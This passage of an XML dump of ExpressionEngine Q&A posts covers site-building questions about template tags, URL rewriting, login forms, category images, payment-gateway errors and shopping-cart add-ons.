  <row Id="18513" PostTypeId="2" ParentId="18510" CreationDate="2014-01-19T07:28:51.850" Score="1" Body="&lt;p&gt;I seem to recall freeform processes the form before returning you to the return page, loosing post data. You can specify %%entry_id%% in the return param and use that to do a look up of the entry and set a cookie or some such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done something similar but used stash to store session vars. Its not perfect but achieves a similar outcome.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-19T07:28:51.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18514" PostTypeId="2" ParentId="7019" CreationDate="2014-01-19T08:38:09.777" Score="0" Body="&lt;p&gt;Can also be achieved with Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT/UPDATE:&#xA;yes, my initial answer wasn't too detailed. Hadn't had any coffee then. So, here we go:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used Playa inside a Matrix fieldtpye on a CartThrob driven ecommerce site to give admins the power to sort products with Playa. On the homepage I set it up like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{/your_matrix_field}&#xA;     &amp;lt;div class=&quot;products&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;{cell_1}&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;ul class=&quot;noGrid&quot;&amp;gt;&#xA;              {cell_2}&#xA;              {stash:embed name=&quot;snippets:productdiv&quot; process=&quot;start&quot;}         &#xA;              {/cell_2}&#xA;          &amp;lt;/ul&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/your_matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{cell_2} is the Playa field. The superadmin can then pretty conveniently choose which products (or better which product categories) will be available in the Matrix/Playa fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admins will then be able to search for products, add them to the Matrix row, sort them in the added products column and as a added bonus they will be able to add multiple Matrix Rows with different heading, for example &quot;Sale&quot;, &quot;New&quot; or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all working very nice and is really flexible. The site is online, if somebody is interested in seeing it live or needs more informations, feel free to express this wish. I just don't want to paste urls here as I don't know on how this would be recieved here and I think looking at the frontend of some site doesn't really helps that much neither.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, Marc&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditDate="2014-01-19T13:27:09.730" LastActivityDate="2014-01-19T13:27:09.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18515" PostTypeId="2" ParentId="18510" CreationDate="2014-01-19T11:29:47.010" Score="0" Body="&lt;p&gt;Have you considered &lt;a href=&quot;http://devot-ee.com/add-ons/protected-links&quot; rel=&quot;nofollow&quot;&gt;Protected Links&lt;/a&gt;? (I haven't tried it myself so can't speak to its quality, but it appears to do what you're aiming for).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-01-19T11:29:47.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18516" PostTypeId="1" CreationDate="2014-01-19T14:09:12.270" Score="1" ViewCount="147" Body="&lt;p&gt;I was just implementing a member login form that worked fine until I tried to remove the index.php from the url with the following .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;        RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the general configuration &quot;Name of your site's index page&quot; is blanked out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the member login form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;http://www.website.com/index.php/projects_client&quot;}&#xA;                    &amp;lt;div class=&quot;formBox&quot;&amp;gt;&#xA;                        &amp;lt;h1&amp;gt;Log in&amp;lt;/h1&amp;gt;&#xA;                        &amp;lt;a href=&quot;#&quot; class=&quot;close&quot;&amp;gt;&amp;amp;times;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;                            &amp;lt;span class=&quot;label&quot;&amp;gt;&amp;lt;label for=&quot;username&quot;&amp;gt;Username:&amp;lt;/label&amp;gt;&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;input type=&quot;username&quot; maxlength=&quot;32&quot; name=&quot;username&quot; id=&quot;username&quot; placeholder=&quot;Username&quot; required&amp;gt;&#xA;                        &amp;lt;/div&amp;gt; &amp;lt;!-- /.field --&amp;gt;&#xA;                        &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;                            &amp;lt;span class=&quot;label&quot;&amp;gt;&amp;lt;label for=&quot;password&quot;&amp;gt;Password:&amp;lt;/label&amp;gt;&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;input maxlength=&quot;32&quot; type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; placeholder=&quot;Password&quot; required&amp;gt;&#xA;                        &amp;lt;/div&amp;gt; &amp;lt;!-- /.field --&amp;gt;&#xA;                        &amp;lt;div class=&quot;buttons&quot;&amp;gt;&#xA;                            &amp;lt;button type=&quot;submit&quot; class=&quot;button primary&quot;&amp;gt;Continue&amp;lt;/button&amp;gt;&#xA;                            {if auto_login}&#xA;                            &amp;lt;div class=&quot;field cb&quot;&amp;gt;&#xA;                                &amp;lt;span class=&quot;label cb&quot;&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;auto_login&quot; value=&quot;1&quot;&amp;gt; Remember me&amp;lt;/label&amp;gt;&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt; &amp;lt;!-- /.field.cb --&amp;gt;&#xA;                            {/if}&#xA;                        &amp;lt;/div&amp;gt; &amp;lt;!-- /.buttons --&amp;gt;&#xA;                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.formBox --&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path='member/forgot_password'}&quot;&amp;gt;Forgot your &amp;lt;span&amp;gt;password&amp;lt;/span&amp;gt;?&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                {/exp:member:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The return url is temporary, I wan't it to be something like this: redirect=&quot;projects_client&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the index.php is removed and I submit the form I'm just redirected to the homepage. I'm not logged in. When I put the index.php back (Comment the .htaccess file and put index.php back in the general configuration: &quot;Name of your site's index page&quot;) It's working again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what's going on?&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2014-02-18T22:36:54.510" Title="Removing index.php from url breaks member login form" Tags="|members|login|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18517" PostTypeId="2" ParentId="3659" CreationDate="2014-01-19T16:43:10.857" Score="3" Body="&lt;p&gt;ExpressionEngine gives &lt;code&gt;edit_date&lt;/code&gt; special treatment inside the Channel Entries loop to account for the way it's saved, but inside a query it's just another 14-digit number. To get it to format properly in a query loop, the SELECT statement can be modified to offset the value from GMT and convert it to a Unix timestamp. Luckily, EE's &lt;code&gt;current_time&lt;/code&gt; variable parses early enough to use it as the offset value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT UNIX_TIMESTAMP(CONVERT_TZ(edit_date,'+00:00','{current_time format=&quot;%P&quot;}')) AS edit_date&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2631" LastEditorUserId="2631" LastEditDate="2014-01-21T04:43:36.987" LastActivityDate="2014-01-21T04:43:36.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18518" PostTypeId="1" AcceptedAnswerId="18522" CreationDate="2014-01-19T16:47:11.150" Score="0" ViewCount="127" Body="&lt;p&gt;I have a few questions regarding loading different content depending on the screen size and or device...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a site I'm working on has one column with 5 entries, when the screen size gets reduced a bit I want to change that to 2 columns with 6 entries so I don't have an empty space in the last row. Now I can always easily just load 6 entries and hide the last one with css on widescreen but I would rather try to do it beforehand&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded the ress plugin to have some type of variable I can use but it seems kinda silly to me to wrap 2 channel entries tags inside if statements when the only difference between them is the limit=&quot;5&quot; and limit=&quot;6&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also in the EU so I'm a bit worried about having to use a cookie for this, and also it's a pain to test this because I have to delete it every time to check how the site looks on a different screen size&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a similar issue with loading images, I'm using the foundation framework and while it does have a nice solution with data-attributes to load different images for different sizes I am wondering if it's a better idea to use something like ress and just place all my images inside if statements. Not sure which is better performance wise?&lt;/p&gt;&#xA;" OwnerUserId="1438" LastActivityDate="2014-01-19T21:37:35.967" Title="how to handle responsive content loading?" Tags="|performance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18519" PostTypeId="2" ParentId="18442" CreationDate="2014-01-19T18:33:39.147" Score="1" Body="&lt;p&gt;in your template code you have an opening form tag before your user tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form class=&quot;edit invert validate-edit require-terms&quot;&amp;gt;&#xA;{exp:user:register &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and therefore your output looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form class=&quot;edit invert validate-edit require-terms&quot;&amp;gt;&#xA;&amp;lt;form name=&quot;register&quot; class=&quot;edit invert validate-edit&quot; id=&quot;member_form&quot; method=&quot;post&quot; action=&quot;http://dev.weddingwise.co.nz/&quot;  &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is obviously not what you want. remove the first form tag (the hard-coded one) and this should fix the Snaptcha issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snatcha can work with ajax however your modal registration form seems to be missing the JavaScript code that Snaptcha automatically adds so the input field is not being modified with the correct value.&lt;/p&gt;&#xA;" OwnerUserId="194" LastEditorUserId="194" LastEditDate="2014-01-20T09:13:24.597" LastActivityDate="2014-01-20T09:13:24.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18520" PostTypeId="1" CreationDate="2014-01-19T20:17:20.433" Score="4" ViewCount="372" Body="&lt;p&gt;I am using FL master config and works a treat (brilliant) on local (MAMP) but when uploading/accessing the dev server just a blank screen appears and also the same for the system login (so can't turn on debug), I know EE works okay on this host (and the db is okay – EE runs fine using a default fresh install). I tried another host and the master config approach works fine! so can only think that the dev host has a prob with the master config approach, checked and dbl checked settings so can't be that, looking into using reelocate but spoilt by the ease of FL's master config approach (so easy!), so wondered if anyone had come across this before and found some possible solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2015-01-17T06:49:22.657" Title="Master config – blank screen" Tags="|focus-lab-master-config|" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="18521" PostTypeId="2" ParentId="18518" CreationDate="2014-01-19T21:32:42.980" Score="0" Body="&lt;p&gt;The reds plugin wouldn't be dependent on javascript, to it certainly has that going for it. And if your conditional is early passed with an add-on like switchee or ifelse, then I would suspect it would offer some pretty great performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regard to your first question about the entries - you're right - you're probably best to load with a limit of 6 and then simply use a ress conditional to remove the last entry for large screens. And to minimize the markup required to handle it, you could take a look at using the block-grid rather than the regular grid so you cane have large-block-grid-5 small-block-grid-2 as your ul class (and then remove the last-child li with a ress conditional aimed as large screens).  Worth a try anyway.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-19T21:32:42.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18522" PostTypeId="2" ParentId="18518" CreationDate="2014-01-19T21:37:35.967" Score="0" Body="&lt;p&gt;In this particular case if you used 2 channel entry calls within if statements you will have lower performance than just calling all 6 entries and hiding one with css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'if' statements have all their contents parsed and then the unnecessary ones are removed after. One way around this would be to use an early parsed conditional like the &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;ifelse&lt;/a&gt; plugin or &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt;. If you already have a solution in place for images I wouldn't bother using ee to handle it. That seems redundant.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2014-01-19T21:37:35.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18524" PostTypeId="2" ParentId="18495" CreationDate="2014-01-19T21:56:46.620" Score="1" Body="&lt;p&gt;Not quite sure from the comments above if all your 'parents' are on 1 level or not but perhaps this will help &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;submenu-parent&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot;&amp;gt;Product Type&amp;lt;/a&amp;gt;&#xA;&amp;lt;div class=&quot;submenu cf&quot; id=&quot;submenu-1&quot;&amp;gt;&#xA;    {exp:gwcode_categories channel=&quot;products&quot; style=&quot;linear&quot; depth=&quot;1&quot;}&#xA;        &amp;lt;h3&amp;gt;{cat_name}&amp;lt;/h3&amp;gt;&#xA;    {/exp:gwcode_categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will list all categories from the top level only. It seems like your just trying to make a bunch of h3's with the parent categories in them. If this is not what you are trying to do maybe try listing out your categories on here like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;category 1&lt;br /&gt;&#xA;&amp;nbsp;&amp;nbsp;category 1.1&lt;br /&gt;&#xA;&amp;nbsp;&amp;nbsp;category 1.2&lt;br /&gt;&#xA;category 2&lt;br /&gt;&#xA;&amp;nbsp;&amp;nbsp;category 2.1&lt;br /&gt;&#xA;&amp;nbsp;&amp;nbsp;category 2.2&lt;br /&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;category 2.2.1&lt;br /&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;category 2.2.2&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then explain more specifically what it is you would like to do while referencing the category numbers. &lt;/p&gt;&#xA;" OwnerUserId="1283" LastEditorUserId="1283" LastEditDate="2014-01-19T23:37:52.073" LastActivityDate="2014-01-19T23:37:52.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18525" PostTypeId="1" CreationDate="2014-01-20T04:59:08.720" Score="2" ViewCount="100" Body="&lt;p&gt;I'm using Expresso Store with the &quot;Australia Post Shipping&quot; extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm attempting to order a single item with &quot;Free Shipping&quot; set, but it seems the Australia post extension is applying a shipping cost of $9.95 to the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if the calculator ignores &quot;Free shipping&quot; items when calculating a shipping total, or if I'm doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the extension ignores the &quot;Free shipping&quot; attribute, is it possible to check if the order consists of free shipping items, and render a different set of {shipping_options} in the checkout tag?&lt;/p&gt;&#xA;" OwnerUserId="2633" LastActivityDate="2016-05-29T19:39:26.577" Title="Free Shipping with the Australia Post Shipping Extension" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18526" PostTypeId="1" AcceptedAnswerId="18533" CreationDate="2014-01-20T08:27:21.653" Score="0" ViewCount="30" Body="&lt;p&gt;If I move an entry from one channel to another, will there be any problems with the Solspace Ratings attached to that entry moving along with it?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-20T13:07:54.570" Title="If I move an entry to a different channel, will my associated Solspace Ratings move with it?" Tags="|solspace|solspace-rating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18527" PostTypeId="2" ParentId="18465" CreationDate="2014-01-20T08:46:55.183" Score="1" Body="&lt;p&gt;There's always the Custom System Messages addon - &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/custom-system-messages&lt;/a&gt; - which allows you to run things like error messages through regular templates. That way EE upgrades don't affect the message text. &lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-01-20T08:46:55.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18528" PostTypeId="2" ParentId="17962" CreationDate="2014-01-20T08:54:13.340" Score="1" Body="&lt;p&gt;Well, it's not super-simple. At least the solution that I came up with. It also might end up costing performance a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first thing first: We need to see if some entries are selected, that are not closed. To do that, we could use {cell_2 var_prefix=&quot;playa&quot; status=&quot;not closed&quot;}{playa:entry_id}{/cell_2}. Now, you can try using that in an if statement such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if '{cell_2 var_prefix=&quot;playa&quot; status=&quot;not closed&quot;}{playa:entry_id}{/cell_2}'}&#xA;  {cell_1}&#xA;{/if}&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-01-20T08:54:13.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18529" PostTypeId="1" AcceptedAnswerId="18535" CreationDate="2014-01-20T09:58:55.670" Score="0" ViewCount="98" Body="&lt;p&gt;We've got some categories being output using gwcode catmenu (&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-catmenu/documentation&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-catmenu/documentation&lt;/a&gt;) but can't seem to find a way of outputting a certain image size (based on image manipulations setup in the file upload preferences),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:gwcode_catmenu cat_url_title=&quot;{segment_2}&quot; active_branch_only=&quot;yes&quot; depth=&quot;1&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;      &amp;lt;span class=&quot;product-text&quot;&amp;gt;&amp;lt;h2&amp;gt;{cat_name}&amp;lt;/h2&amp;gt;&amp;lt;/span&amp;gt; &#xA;      &amp;lt;span class=&quot;product-image&quot;&amp;gt;&amp;lt;img src=&quot;{cat_image}&quot; alt=&quot;{cat_name}&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA; {/exp:gwcode_catmenu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works, but outputs the original image size, we want to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:gwcode_catmenu cat_url_title=&quot;{segment_2}&quot; active_branch_only=&quot;yes&quot; depth=&quot;1&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;      &amp;lt;span class=&quot;product-text&quot;&amp;gt;&amp;lt;h2&amp;gt;{cat_name}&amp;lt;/h2&amp;gt;&amp;lt;/span&amp;gt; &#xA;      &amp;lt;span class=&quot;product-image&quot;&amp;gt;&amp;lt;img src=&quot;{cat_image:small}&quot; alt=&quot;{cat_name}&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA; {/exp:gwcode_catmenu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To output the small version of the image, any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-01-20T13:32:34.377" Title="gwcode_catmenu - {cat_image} and image sizes/manipulations" Tags="|categories|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18530" PostTypeId="1" CreationDate="2014-01-20T10:09:15.710" Score="4" ViewCount="399" Body="&lt;p&gt;I'm searching for a solution how a member can edit an entry on frontend, but it should not change the entry on submit, but instead it should create a new entry in the database?&lt;/p&gt;&#xA;" OwnerUserId="2634" LastEditorUserId="55" LastEditDate="2014-01-20T13:06:10.157" LastActivityDate="2014-01-20T15:36:46.900" Title="How can a member edit an entry via a Channel Form but save as a copy?" Tags="|ee2|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18531" PostTypeId="1" CreationDate="2014-01-20T10:52:47.250" Score="1" ViewCount="332" Body="&lt;p&gt;I have a template group called 'site. These are my top level generic templates, I would like to exclude the site part of the url so,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite/site/aboutus&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to remove the 'site' part of the url for this group only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any 3rd part or core EE way to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-02-19T16:37:16.590" Title="Template group urls" Tags="|templates|url|groups|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18532" PostTypeId="2" ParentId="18531" CreationDate="2014-01-20T11:16:51.713" Score="1" Body="&lt;p&gt;Pretty sure if you set the group to default / homepage in the cp it won't require the URL - the index page within that group will be your sites homepage.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-20T11:16:51.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18533" PostTypeId="2" ParentId="18526" CreationDate="2014-01-20T13:07:54.570" Score="3" Body="&lt;p&gt;I don't believe so, no. Rating stores its data in its own database table, indexed to each entry via &lt;code&gt;entry_id&lt;/code&gt; only, so the channel that entry lives in should not matter.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-20T13:07:54.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18534" PostTypeId="2" ParentId="18531" CreationDate="2014-01-20T13:13:27.330" Score="1" Body="&lt;p&gt;You can achieve this for all templates located within your site's &lt;em&gt;default&lt;/em&gt; template group by &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html#strict-urls&quot; rel=&quot;nofollow&quot;&gt;disabling Strict URLs&lt;/a&gt;. But this will only work with your default template group, no others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you should put some logic in each of these templates instructing EE to display a 404 page when accessed &lt;em&gt;with&lt;/em&gt; the template group - otherwise you could run into duplicate content issues, as your content will be accessible via both &lt;code&gt;/site/about&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; &lt;code&gt;/about&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == 'site'}{redirect=&quot;404&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-20T13:13:27.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18535" PostTypeId="2" ParentId="18529" CreationDate="2014-01-20T13:32:34.377" Score="1" Body="&lt;p&gt;It doesn't look like GWcode CatMenu currently supports calling alternate versions of category images, but you could do this in a &lt;a href=&quot;http://pkg.io&quot; rel=&quot;nofollow&quot;&gt;really quick plugin&lt;/a&gt; pretty easily. Your key function would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_size()&#xA;{&#xA;    $image = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('image');&#xA;    $size = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('size');&#xA;    $pos = strrpos($image, '/');&#xA;    if($pos !== false)&#xA;    {&#xA;        $image = substr_replace($image, '/_'.$size.'/', $pos, 1);&#xA;    }&#xA;    return $image;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So your plugin in the template might look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_plugin:get_size image=&quot;{cat_image}&quot; size=&quot;{small}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-20T13:32:34.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18536" PostTypeId="1" AcceptedAnswerId="18552" CreationDate="2014-01-20T13:49:53.113" Score="2" ViewCount="855" Body="&lt;p&gt;We're getting a communication error response when submitting card details using the SagePay Direct payment method:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error: Sorry, there was an unexpected error communicating with the&#xA;  payment gateway.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nothing has changed in respects to the server / EE code and transactions have been working fine since upgrading to 2.10 recently. Logging into SagePay shows that since today transactions aren't even being logged as failed at sagepay; ie they're failing before they even reach sagepay. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took the measure of upgrading to Store: 2.20 and the error persists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After uncommenting the exception, the error displayed is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Uncaught exception 'Guzzle\Http\Exception\CurlException' with message '[curl] 6: Couldn't resolve host 'live.sagepay.com' [url] &lt;a href=&quot;https://live.sagepay.com/gateway/service/vspdirect-register.vsp&quot; rel=&quot;nofollow&quot;&gt;https://live.sagepay.com/gateway/service/vspdirect-register.vsp&lt;/a&gt;' in /var/www/vhosts/domain.com/httpdocs/system/expressionengine/third_party/store/vendor/guzzle/http/Guzzle/Http/Curl/CurlMulti.php:338 Stack trace: #0 /var/www/vhosts/domain.com/httpdocs/system/expressionengine/third_party/store/vendor/guzzle/http/Guzzle/Http/Curl/CurlMulti.php(279): Guzzle\Http\Curl\CurlMulti-&gt;isCurlException(Object(Guzzle\Http\Message\EntityEnclosingRequest), Object(Guzzle\Http\Curl\CurlHandle), Array) #1 /var/www/vhosts/domain.com/httpdocs/system/expressionengine/third_party/store/vendor/guzzle/http/Guzzle/Http/Curl/CurlMulti.php(244): Guzzle\Http\Curl\CurlMulti-&gt;processResponse(Object(Guzzle\Http\Message\EntityEnclosingRequest), Object(Guzzle\Http\Curl\CurlHandle), Array) #2 /var/www/vhosts/domain.com/httpdocs/system/exp in /var/www/vhosts/domain.com/httpdocs/system/expressionengine/third_party/store/vendor/guzzle/http/Guzzle/Http/Curl/CurlMulti.php on line 338&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So looks like the server can't communicated with sagepay... so, I've done a quick test and it seems cURL is up the swanny on the server. Thanks for your help as always!&lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="39" LastEditDate="2014-01-21T08:56:43.073" LastActivityDate="2014-01-21T08:56:43.073" Title="SagePay Direct: Error: Sorry, there was an unexpected error communicating with the payment gateway" Tags="|expresso-store|sagepay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18537" PostTypeId="1" AcceptedAnswerId="18547" CreationDate="2014-01-20T14:26:30.777" Score="0" ViewCount="41" Body="&lt;p&gt;As the title says - cart just reloads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:update_cart_form &#xA;    class=&quot;validate&quot;&#xA;    id=&quot;form-basket&quot;&#xA;    return=&quot;shop/basket&quot;&#xA;    secure_action=&quot;yes&quot;&#xA;    }&#xA;&#xA;    basket code here&#xA;&#xA;    &amp;lt;button type=&quot;submit&quot; name=&quot;clear_cart&quot;&amp;gt;Empty Basket&amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:cartthrob:update_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why this might be the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE is 2.7.2, CT is Pro 2.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2014-01-20T17:06:42.720" Title="Cartthrob clear_cart input not working on update_cart_form" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 